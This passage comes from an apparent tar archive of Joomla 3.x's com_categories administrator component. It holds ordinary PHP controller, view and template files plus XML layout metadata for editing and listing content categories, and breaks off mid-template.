	 * The method assumes that the following http parameters are passed in an Ajax Get request:
	 * token: the form token
	 * assocId: the id of the category whose associations are to be returned
	 * excludeLang: the association for this language is to be excluded
	 *
	 * @return  null
	 *
	 * @since  3.9.0
	 */
	public function fetchAssociations()
	{
		if (!JSession::checkToken('get'))
		{
			echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);
		}
		else
		{
			$input     = JFactory::getApplication()->input;
			$extension = $input->get('extension');

			$assocId   = $input->getInt('assocId', 0);

			if ($assocId == 0)
			{
				echo new JResponseJson(null, JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'assocId'), true);

				return;
			}

			$excludeLang = $input->get('excludeLang', '', 'STRING');

			$associations = JLanguageAssociations::getAssociations($extension, '#__categories', 'com_categories.item', (int) $assocId, 'id', 'alias', '');

			unset($associations[$excludeLang]);

			// Add the title to each of the associated records
			JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_categories/tables');
			$categoryTable = JTable::getInstance('Category', 'JTable');

			foreach ($associations as $lang => $association)
			{
				$categoryTable->load($association->id);
				$associations[$lang]->title = $categoryTable->title;
			}

			$countContentLanguages = count(LanguageHelper::getContentLanguages(array(0, 1)));

			if (count($associations) == 0)
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE');
			}
			elseif ($countContentLanguages > count($associations) + 2)
			{
				$tags    = implode(', ', array_keys($associations));
				$message = JText::sprintf('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME', $tags);
			}
			else
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL');
			}

			echo new JResponseJson($associations, $message);
		}
	}
}
com_categories/controllers/category.php000060400000013160152455305310014423 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * The Category Controller
 *
 * @since  1.6
 */
class CategoriesControllerCategory extends JControllerForm
{
	/**
	 * The extension for which the categories apply.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $extension;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since  1.6
	 * @see    JControllerLegacy
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// Guess the JText message prefix. Defaults to the option.
		if (empty($this->extension))
		{
			$this->extension = $this->input->get('extension', 'com_content');
		}
	}

	/**
	 * Method to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		$user = JFactory::getUser();

		return ($user->authorise('core.create', $this->extension) || count($user->getAuthorisedCategories($this->extension, 'core.create')));
	}

	/**
	 * Method to check if you can edit a record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowEdit($data = array(), $key = 'parent_id')
	{
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();

		// Check "edit" permission on record asset (explicit or inherited)
		if ($user->authorise('core.edit', $this->extension . '.category.' . $recordId))
		{
			return true;
		}

		// Check "edit own" permission on record asset (explicit or inherited)
		if ($user->authorise('core.edit.own', $this->extension . '.category.' . $recordId))
		{
			// Need to do a lookup from the model to get the owner
			$record = $this->getModel()->getItem($recordId);

			if (empty($record))
			{
				return false;
			}

			$ownerId = $record->created_user_id;

			// If the owner matches 'me' then do the test.
			if ($ownerId == $user->id)
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Override parent save method to store form data with right key as expected by edit category page
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   3.10.3
	 */
	public function save($key = null, $urlVar = null)
	{
		$result = parent::save($key, $urlVar);

		$oldKey = $this->option . '.edit.category.data';
		$newKey = $this->option . '.edit.category.' . substr($this->extension, 4) . '.data';
		$app    = JFactory::getApplication();
		$app->setUserState($newKey, $app->getUserState($oldKey));

		return $result;
	}

	/**
	 * Override cancel method to clear form data for a failed edit action
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   3.10.3
	 */
	public function cancel($key = null)
	{
		$result = parent::cancel($key);

		$newKey = $this->option . '.edit.category.' . substr($this->extension, 4) . '.data';
		JFactory::getApplication()->setUserState($newKey, null);

		return $result;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean  True if successful, false otherwise and internal error is set.
	 *
	 * @since   1.6
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		// Set the model
		/** @var CategoriesModelCategory $model */
		$model = $this->getModel('Category');

		// Preset the redirect
		$this->setRedirect('index.php?option=com_categories&view=categories&extension=' . $this->extension);

		return parent::batch($model);
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id')
	{
		$append = parent::getRedirectToItemAppend($recordId);
		$append .= '&extension=' . $this->extension;

		return $append;
	}

	/**
	 * Gets the URL arguments to append to a list redirect.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   1.6
	 */
	protected function getRedirectToListAppend()
	{
		$append = parent::getRedirectToListAppend();
		$append .= '&extension=' . $this->extension;

		return $append;
	}

	/**
	 * Function that allows child controller access to model data after the data has been saved.
	 *
	 * @param   JModelLegacy  $model      The data model object.
	 * @param   array         $validData  The validated data.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function postSaveHook(JModelLegacy $model, $validData = array())
	{
		$item = $model->getItem();

		if (isset($item->params) && is_array($item->params))
		{
			$registry = new Registry($item->params);
			$item->params = (string) $registry;
		}

		if (isset($item->metadata) && is_array($item->metadata))
		{
			$registry = new Registry($item->metadata);
			$item->metadata = (string) $registry;
		}
	}
}
com_categories/views/category/tmpl/edit_metadata.php000060400000000507152455305310016754 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_categories/views/category/tmpl/edit.php000060400000010212152455305310015106 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('behavior.keepalive');
JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');

$app = JFactory::getApplication();
$input = $app->input;

$assoc = JLanguageAssociations::isEnabled();
// Are associations implemented for this extension?
$extensionassoc = array_key_exists('item_associations', $this->form->getFieldsets());

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "category.cancel" || document.formvalidator.isValid(document.getElementById("item-form")))
		{
			jQuery("#permissions-sliders select").attr("disabled", "disabled");
			' . $this->form->getField('description')->save() . '
			Joomla.submitform(task, document.getElementById("item-form"));

			// @deprecated 4.0  The following js is not needed since 3.7.0.
			if (task !== "category.apply")
			{
				window.parent.jQuery("#categoryEdit' . $this->item->id . 'Modal").modal("hide");
			}
		}
	};
');

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('jmetadata', 'item_associations');

// In case of modal
$isModal = $input->get('layout') == 'modal' ? true : false;
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo JRoute::_('index.php?option=com_categories&extension=' . $input->getCmd('extension', 'com_content') . '&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="item-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'general')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('JCATEGORY')); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php echo $this->form->getLabel('description'); ?>
				<?php echo $this->form->getInput('description'); ?>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('COM_CATEGORIES_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php if ( ! $isModal && $assoc && $extensionassoc) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
			<?php echo $this->loadTemplate('associations'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php elseif ($isModal && $assoc && $extensionassoc) : ?>
			<div class="hidden"><?php echo $this->loadTemplate('associations'); ?></div>
		<?php endif; ?>

		<?php if ($this->canDo->get('core.admin')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'rules', JText::_('COM_CATEGORIES_FIELDSET_RULES')); ?>
			<?php echo $this->form->getInput('rules'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>

		<?php echo $this->form->getInput('extension'); ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_categories/views/category/tmpl/edit.xml000060400000001154152455305310015124 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CATEGORIES_CATEGORY_VIEW_EDIT_TITLE">
		<message>
			<![CDATA[COM_CATEGORIES_CATEGORY_VIEW_EDIT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="componentscategory"
				label="COM_CATEGORIES_CHOOSE_COMPONENT_LABEL"
				description="COM_CATEGORIES_CHOOSE_COMPONENT_DESC"
				required="true"
				>
				<option value="">COM_MENUS_OPTION_SELECT_COMPONENT</option>
			</field>
			<field
				name="id"
				type="hidden"
				default="0"
			/>
		</fields>
	</fieldset>
</metadata>
com_categories/views/category/tmpl/modal_metadata.php000060400000000507152455305310017123 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.metadata', $this);
com_categories/views/category/tmpl/modal.php000060400000002551152455305310015264 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));

// @deprecated 4.0 the function parameter, the inline js and the buttons are not needed since 3.7.0.
$function  = JFactory::getApplication()->input->getCmd('function', 'jEditCategory_' . (int) $this->item->id);

// Function to update input title when changed
JFactory::getDocument()->addScriptDeclaration('
	function jEditCategoryModal() {
		if (window.parent && document.formvalidator.isValid(document.getElementById("item-form"))) {
			return window.parent.' . $this->escape($function) . '(document.getElementById("jform_title").value);
		}
	}
');
?>
<button id="applyBtn" type="button" class="hidden" onclick="Joomla.submitbutton('category.apply'); jEditCategoryModal();"></button>
<button id="saveBtn" type="button" class="hidden" onclick="Joomla.submitbutton('category.save'); jEditCategoryModal();"></button>
<button id="closeBtn" type="button" class="hidden" onclick="Joomla.submitbutton('category.cancel');"></button>

<div class="container-popup">
	<?php $this->setLayout('edit'); ?>
	<?php echo $this->loadTemplate(); ?>
</div>
com_categories/views/category/tmpl/modal_extrafields.php000060400000000413152455305310017651 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
com_categories/views/category/tmpl/modal_associations.php000060400000000513152455305310020037 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_categories/views/category/tmpl/edit_associations.php000060400000000513152455305310017670 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JLayoutHelper::render('joomla.edit.associations', $this);
com_categories/views/category/tmpl/modal_options.php000060400000002732152455305310017040 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

echo JHtml::_('bootstrap.startAccordion', 'categoryOptions', array('active' => 'collapse0'));
$fieldSets = $this->form->getFieldsets('params');
$i = 0;
?>
<?php foreach ($fieldSets as $name => $fieldSet) : ?>
	<?php
	$label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_CATEGORIES_' . $name . '_FIELDSET_LABEL';
	echo JHtml::_('bootstrap.addSlide', 'categoryOptions', JText::_($label), 'collapse' . ($i++));
	if (isset($fieldSet->description) && trim($fieldSet->description))
	{
		echo '<p class="tip">' . $this->escape(JText::_($fieldSet->description)) . '</p>';
	}
	?>
	<?php foreach ($this->form->getFieldset($name) as $field) : ?>
		<div class="control-group">
			<div class="control-label">
				<?php echo $field->label; ?>
			</div>
			<div class="controls">
				<?php echo $field->input; ?>
			</div>
		</div>
	<?php endforeach; ?>

	<?php if ($name == 'basic') : ?>
		<div class="control-group">
			<div class="control-label">
				<?php echo $this->form->getLabel('note'); ?>
			</div>
			<div class="controls">
				<?php echo $this->form->getInput('note'); ?>
			</div>
		</div>
	<?php endif; ?>
	<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php endforeach; ?>
<?php echo JHtml::_('bootstrap.endAccordion'); ?>
com_categories/views/category/view.html.php000060400000017026152455305310015134 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Categories component
 *
 * @since  1.6
 */
class CategoriesViewCategory extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  object
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Flag if an association exists
	 *
	 * @var  boolean
	 */
	protected $assoc;

	/**
	 * The actions the user is authorised to perform
	 *
	 * @var  JObject
	 */
	protected $canDo;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->state = $this->get('State');
		$section = $this->state->get('category.section') ? $this->state->get('category.section') . '.' : '';
		$this->canDo = JHelperContent::getActions($this->state->get('category.component'), $section . 'category', $this->item->id);
		$this->assoc = $this->get('Assoc');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Check for tag type
		$this->checkTags = JHelperTags::getTypes('objectList', array($this->state->get('category.extension') . '.category'), true);

		JFactory::getApplication()->input->set('hidemainmenu', true);

		// If we are forcing a language in modal (used for associations).
		if ($this->getLayout() === 'modal' && $forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'cmd'))
		{
			// Set the language field to the forcedLanguage and disable changing it.
			$this->form->setValue('language', null, $forcedLanguage);
			$this->form->setFieldAttribute('language', 'readonly', 'true');

			// Only allow to select categories with All language or with the forced language.
			$this->form->setFieldAttribute('parent_id', 'language', '*,' . $forcedLanguage);

			// Only allow to select tags with All language or with the forced language.
			$this->form->setFieldAttribute('tags', 'language', '*,' . $forcedLanguage);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$extension = JFactory::getApplication()->input->get('extension');
		$user = JFactory::getUser();
		$userId = $user->id;

		$isNew = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Check to see if the type exists
		$ucmType = new JUcmType;
		$this->typeId = $ucmType->getTypeId($extension . '.category');

		// Avoid nonsense situation.
		if ($extension == 'com_categories')
		{
			return;
		}

		// The extension can be in the form com_foo.section
		$parts = explode('.', $extension);
		$component = $parts[0];
		$section = (count($parts) > 1) ? $parts[1] : null;
		$componentParams = JComponentHelper::getParams($component);

		// Need to load the menu language file as mod_menu hasn't been loaded yet.
		$lang = JFactory::getLanguage();
		$lang->load($component, JPATH_BASE, null, false, true)
		|| $lang->load($component, JPATH_ADMINISTRATOR . '/components/' . $component, null, false, true);

		// Load the category helper.
		JLoader::register('CategoriesHelper', JPATH_ADMINISTRATOR . '/components/com_categories/helpers/categories.php');

		// Get the results for each action.
		$canDo = $this->canDo;

		// If a component categories title string is present, let's use it.
		if ($lang->hasKey($component_title_key = $component . ($section ? "_$section" : '') . '_CATEGORY_' . ($isNew ? 'ADD' : 'EDIT') . '_TITLE'))
		{
			$title = JText::_($component_title_key);
		}
		// Else if the component section string exits, let's use it
		elseif ($lang->hasKey($component_section_key = $component . ($section ? "_$section" : '')))
		{
			$title = JText::sprintf('COM_CATEGORIES_CATEGORY_' . ($isNew ? 'ADD' : 'EDIT')
					. '_TITLE', $this->escape(JText::_($component_section_key))
					);
		}
		// Else use the base title
		else
		{
			$title = JText::_('COM_CATEGORIES_CATEGORY_BASE_' . ($isNew ? 'ADD' : 'EDIT') . '_TITLE');
		}

		// Load specific css component
		JHtml::_('stylesheet', $component . '/administrator/categories.css', array('version' => 'auto', 'relative' => true));

		// Prepare the toolbar.
		JToolbarHelper::title(
			$title,
			'folder category-' . ($isNew ? 'add' : 'edit')
				. ' ' . substr($component, 4) . ($section ? "-$section" : '') . '-category-' . ($isNew ? 'add' : 'edit')
		);

		// For new records, check the create permission.
		if ($isNew && (count($user->getAuthorisedCategories($component, 'core.create')) > 0))
		{
			JToolbarHelper::apply('category.apply');
			JToolbarHelper::save('category.save');
			JToolbarHelper::save2new('category.save2new');
			JToolbarHelper::cancel('category.cancel');
		}

		// If not checked out, can save the item.
		else
		{
			// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
			$itemEditable = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_user_id == $userId);

			// Can't save the record if it's checked out and editable
			if (!$checkedOut && $itemEditable)
			{
				JToolbarHelper::apply('category.apply');
				JToolbarHelper::save('category.save');

				if ($canDo->get('core.create'))
				{
					JToolbarHelper::save2new('category.save2new');
				}
			}

			// If an existing item, can save to a copy.
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('category.save2copy');
			}

			if (JComponentHelper::isEnabled('com_contenthistory') && $componentParams->get('save_history', 0) && $itemEditable)
			{
				$typeAlias = $extension . '.category';
				JToolbarHelper::versions($typeAlias, $this->item->id);
			}

			if (JLanguageAssociations::isEnabled() && JComponentHelper::isEnabled('com_associations'))
			{
				JToolbarHelper::custom('category.editAssociations', 'contract', 'contract', 'JTOOLBAR_ASSOCIATIONS', false, false);
			}

			JToolbarHelper::cancel('category.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();

		// Compute the ref_key
		$ref_key = strtoupper($component . ($section ? "_$section" : '')) . '_CATEGORY_' . ($isNew ? 'ADD' : 'EDIT') . '_HELP_KEY';

		// Check if thr computed ref_key does exist in the component
		if (!$lang->hasKey($ref_key))
		{
			$ref_key = 'JHELP_COMPONENTS_'
						. strtoupper(substr($component, 4) . ($section ? "_$section" : ''))
						. '_CATEGORY_' . ($isNew ? 'ADD' : 'EDIT');
		}

		/*
		 * Get help for the category/section view for the component by
		 * -remotely searching in a language defined dedicated URL: *component*_HELP_URL
		 * -locally  searching in a component help file if helpURL param exists in the component and is set to ''
		 * -remotely searching in a component URL if helpURL param exists in the component and is NOT set to ''
		 */
		if ($lang->hasKey($lang_help_url = strtoupper($component) . '_HELP_URL'))
		{
			$debug = $lang->setDebug(false);
			$url = JText::_($lang_help_url);
			$lang->setDebug($debug);
		}
		else
		{
			$url = null;
		}

		JToolbarHelper::help($ref_key, $componentParams->exists('helpURL'), $url, $component);
	}
}
com_categories/views/categories/tmpl/default.xml000060400000001065152455305310016134 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CATEGORIES_CATEGORIES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CATEGORIES_CATEGORIES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fieldset name="request">
		<fields name="request">
			<field
				name="extension"
				type="componentscategory"
				label="COM_CATEGORIES_CHOOSE_COMPONENT_LABEL"
				description="COM_CATEGORIES_CHOOSE_COMPONENT_DESC"
				required="true"
			>
				<option value="">COM_MENUS_OPTION_SELECT_COMPONENT</option>
			</field>
		</fields>
	</fieldset>
</metadata>
com_categories/views/categories/tmpl/default.php000060400000032073152455305310016126 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_categories
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\Inflector;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$app       = JFactory::getApplication();
$user      = JFactory::getUser();
$userId    = $user->get('id');
$extension = $this->escape($this->state->get('filter.extension'));
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = ($listOrder == 'a.lft' && strtolower($listDirn) == 'asc');
$parts     = explode('.', $extension, 2);
$component = $parts[0];
$section   = null;
$columns   = 7;

if (count($parts) > 1)
{
	$section = $parts[1];

	$inflector = Inflector::getInstance();

	if (!$inflector->isPlural($section))
	{
		$section = $inflector->toPlural($section);
	}
}

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_categories&task=categories.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'categoryList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_categories&view=categories'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="categoryList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.lft', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) :
							$columns++; ?>
							<th width="1%" class="nowrap center hidden-phone hidden-tablet">
								<span class="icon-publish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_CATEGORY_COUNT_PUBLISHED_ITEMS'); ?></span></span>
							</th>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) :
							$columns++; ?>
							<th width="1%" class="nowrap center hidden-phone hidden-tablet">
								<span class="icon-unpublish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_CATEGORY_COUNT_UNPUBLISHED_ITEMS'); ?></span></span>
							</th>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) :
							$columns++; ?>
							<th width="1%" class="nowrap center hidden-phone hidden-tablet">
								<span class="icon-archive hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_CATEGORY_COUNT_ARCHIVED_ITEMS'); ?></span></span>
							</th>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) :
							$columns++; ?>
							<th width="1%" class="nowrap center hidden-phone hidden-tablet">
								<span class="icon-trash hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_CATEGORY_COUNT_TRASHED_ITEMS'); ?></span></span>
							</th>
						<?php endif; ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
						</th>
						<?php if ($this->assoc) :
							$columns++; ?>
							<th width="5%" class="nowrap hidden-phone hidden-tablet">
								<?php echo JHtml::_('searchtools.sort', 'COM_CATEGORY_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
							</th>
						<?php endif; ?>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $columns; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<?php
						$canEdit    = $user->authorise('core.edit',       $extension . '.category.' . $item->id);
						$canCheckin = $user->authorise('core.admin',      'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
						$canEditOwn = $user->authorise('core.edit.own',   $extension . '.category.' . $item->id) && $item->created_user_id == $userId;
						$canChange  = $user->authorise('core.edit.state', $extension . '.category.' . $item->id) && $canCheckin;

						// Get the parents of item for sorting
						if ($item->level > 1)
						{
							$parentsStr = '';
							$_currentParentId = $item->parent_id;
							$parentsStr = ' ' . $_currentParentId;
							for ($i2 = 0; $i2 < $item->level; $i2++)
							{
								foreach ($this->ordering as $k => $v)
								{
									$v = implode('-', $v);
									$v = '-' . $v . '-';
									if (strpos($v, '-' . $_currentParentId . '-') !== false)
									{
										$parentsStr .= ' ' . $k;
										$_currentParentId = $k;
										break;
									}
								}
							}
						}
						else
						{
							$parentsStr = '';
						}
						?>
						<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->parent_id; ?>" item-id="<?php echo $item->id ?>" parents="<?php echo $parentsStr ?>" level="<?php echo $item->level ?>">
							<td class="order nowrap center hidden-phone">
								<?php
								$iconClass = '';
								if (!$canChange)
								{
									$iconClass = ' inactive';
								}
								elseif (!$saveOrder)
								{
